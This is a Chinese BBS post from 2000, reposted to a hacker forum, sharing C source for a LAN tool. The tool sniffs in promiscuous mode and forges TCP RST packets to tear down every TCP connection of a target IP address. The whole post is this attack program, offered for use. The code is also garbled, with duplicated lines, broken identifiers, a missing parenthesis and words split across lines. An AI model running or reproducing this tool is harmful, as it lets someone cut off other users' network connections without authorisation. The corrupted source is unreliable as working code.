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发信人: bstone (Back to real world!), 信区: Hacker
标 题: 截断局域网里面给定IP的机器的所有TCP凌**{F*(L?*(p***
发信站: BBS 荔园晨风站 (Thu Mar 30 17:22:01 2000), 转信
发信人: AngelFalls (Happiness Forever), 信区: Security
标 题: 截断局域网里面给定IP的机器的所有TCP连接程序
发信站: 武汉白云黄鹤站 (Wed Mar 29 18:22:12 2000), 站内信件
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <string.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#define HEADER_LEN 32 //20+12
int sock_pck;
struct ifreq ifr_old;
char *hw_addr(u_char str_hw[6], char *result)
{
sprintf(result, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", str_hw[0], str_hw[1],
str_hw[2], str_hw[3], str_hw[4], str_hw[5]);
return result;
}
u_int16_t in_chksum(u_short *addr, int len)
{
u_int32_t sum = 0;
u_int16_t *ad = addr, result;
while(len > 1)
{
sum += *ad++;
len -= 2;
}
if(len == 1)
if(len == 1)
{
result = 0;
*((u_char *)&result) = *(u_char *)ad;
sum += result;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
result = ~sum;
return(result);
}
void leave(int signo)
{
ifr_old.ifr_flags &= ~IFF_PROMISC;
if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr_old) < 0 )
{
perror("Restore IFF_PROMISC");
exit(-1);
}
setuid( getuid() );
exit(0);
exit(0);
}
int main(int argc, char *argv[])
{
struct ifreq ifr;
struct sockaddr_in sa;
struct sockaddr sa_fr;
struct in_addr sa_in, dst_addr, src_addr;
u_char recvbuf[128], sendbuf[128], pseudoHead[HEADER_LEN], *pseudo, str[
32], str2[32], str_src[32], str_dst[32], str_flag[32];
struct iphdr *i_hdr, *i_hdr2;
struct tcphdr *t_hdr, *t_hdr2;
struct ethhdr *e_hdr;
u_int16_t n;
int len;
if( argc != 2 )
{
printf("Usage : %s remoteIP\n", argv[0]);
exit(-1);
}
if( inet_aton(argv[1], &sa.sin_addr) < 0 )
{
printf("Usage : %s remoteIP\n", argv[0]);
exit(-1);
}
if ( (sock_pck = socket(PF_INET, SOCK_PACKET, htons(ETH_P_IP))) < 0 )
{
perror("Socket Packet");
exit(-1);
}
strcpy(ifr.ifr_name, "eth0");
if( ioctl(sock_pck, SIOCGIFFLAGS, &ifr) < 0 )
{
perror("Ioctl SIOCGIFFLAGS");
exit(-1);
}
ifr_old = ifr;
ifr.ifr_flags |= IFF_PROMISC;
if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 )
if( ioctl(sock_pck, SIOCSIFFLAGS, &ifr) < 0 )
{
perror("Ioctl SIOCSIFFLAGS");
exit(-1);
}
signal(SIGINT, leave);
signal(SIGTERM, leave);
while( 1 )
{
//54 is the size of ethhdr+iphdr+tcphdr
if( (n = recvfrom(sock_pck, recvbuf, 128, 0, &sa_fr, &len)) < 5
)
continue;
i_hdr = (struct iphdr *)(recvbuf + 14);
if( i_hdr->protocol == IPPROTO_TCP && i_hdr->saddr == sa.sin_adr
.s_addr)//Get target!!!
{
sa_in.s_addr = i_hdr->daddr;
printf("%s to %s connection detected!\n", argv[1], inetn
toa(sa_in));
t_hdr = (struct tcphdr *)(recvbuf + 34);
t_hdr = (struct tcphdr *)(recvbuf + 34);
if( (t_hdr->th_flags & TH_RST) == 0 ) //If disconnectin,
we needn't to disconnect it again
{
memcpy(sendbuf, &recvbuf[6], 6); //6 is the siz
of ether address
memcpy(&sendbuf[6], recvbuf, 6);
memcpy(&sendbuf[12], &recvbuf[12], 2); //protocl
type, should be IP
// printf("Ethhdr copied!\n");
i_hdr2 = (struct iphdr *)(sendbuf + 14);
memcpy(i_hdr2, i_hdr, 12);
i_hdr2->tot_len = htons(40);
i_hdr2->check = 0;
memcpy(&(i_hdr2->saddr), &(i_hdr->daddr), 4);
memcpy(&(i_hdr2->daddr), &(i_hdr->saddr), 4);
i_hdr2->check = in_chksum((u_short *)i_hdr2, 20;
// printf("Iphdr copied!\n");
t_hdr2 = (struct tcphdr *)(sendbuf + 34);
t_hdr2->th_sport = t_hdr->th_dport;
t_hdr2->th_dport = t_hdr->th_sport;
t_hdr2->th_dport = t_hdr->th_sport;
t_hdr2->th_seq = t_hdr->th_ack;
t_hdr2->th_ack = t_hdr->th_seq;
t_hdr2->th_x2 = 0;
t_hdr2->th_off = 5; //Header Len
t_hdr2->th_flags = TH_RST ;
t_hdr2->th_win = htons(32120);
t_hdr2->th_sum = 0;
t_hdr2->th_urp = 0;
// printf("Tcphdr copied!\n");
pseudo = pseudoHead;
memcpy(pseudo, &i_hdr2->saddr, 8);
*(pseudo+8) = 0;
pseudo += 9;
memcpy(pseudo, &(i_hdr2->protocol), 1);
pseudo++;
n = htons(20); //TCP segment length
memcpy(pseudo, &n, 2);
pseudo += 2;
memcpy(pseudo, t_hdr2, 20);
// printf("Pseudo Head prepared!\n");
t_hdr2->th_sum = in_chksum((u_short *)pseudoHea,
HEADER_LEN);
HEADER_LEN);
sa_fr.sa_family = 1;
strcpy(sa_fr.sa_data, "eth0");
/*
e_hdr = (struct ethhdr *)sendbuf;
printf("HW: Sent to %s from %s\n", hw_addr(e_hd-
>h_dest, str1), hw_addr(e_hdr->h_source, str2));
printf("Proto Type: %.4x\n", ntohs(e_hdr->h_proo
));
printf("Ver : %d, HLen : %d, Tos : %d, Tot_Len
%d, Id : %d, Ttl : %d\n",
i_hdr2->version, i_hdr2->ihl, i_hdr2->ts
, ntohs(i_hdr2->tot_len), ntohs(i_hdr2->id), i_hdr2->ttl);
dst_addr.s_addr = i_hdr2->daddr;
src_addr.s_addr = i_hdr2->saddr;
strcpy( str_src, inet_ntoa(src_addr));
strcpy( str_dst, inet_ntop(AF_INET, &dst_addr, t
r_flag, sizeof(str_flag)));
printf("Src IP : %s, Dst IP : %s\n", str_src, sr
_dst);
printf("Dst Port : %d, Src Port : %d\n", ntohs(_
hdr->th_sport), ntohs(t_hdr->th_dport));
// break;
// break;
*/
if( sendto(sock_pck, sendbuf, 54, 0, &sa_fr, sie
of(sa_fr)) < 0 )
perror("SendTo");
else
printf("%s to %s connection sent RST!\n,
argv[1], inet_ntoa(sa_in));
printf("\n");
}
}
}
return 0;
}
--
Wish your sky be sunny,
Wish your heart be happy,
Wish your body be healthy,
Wish U never be lazy.
:) :> ;) ;> :-) :-> ;-) ;->
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.106.16.45]
--
☆ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: bbs@192.168.28.23]
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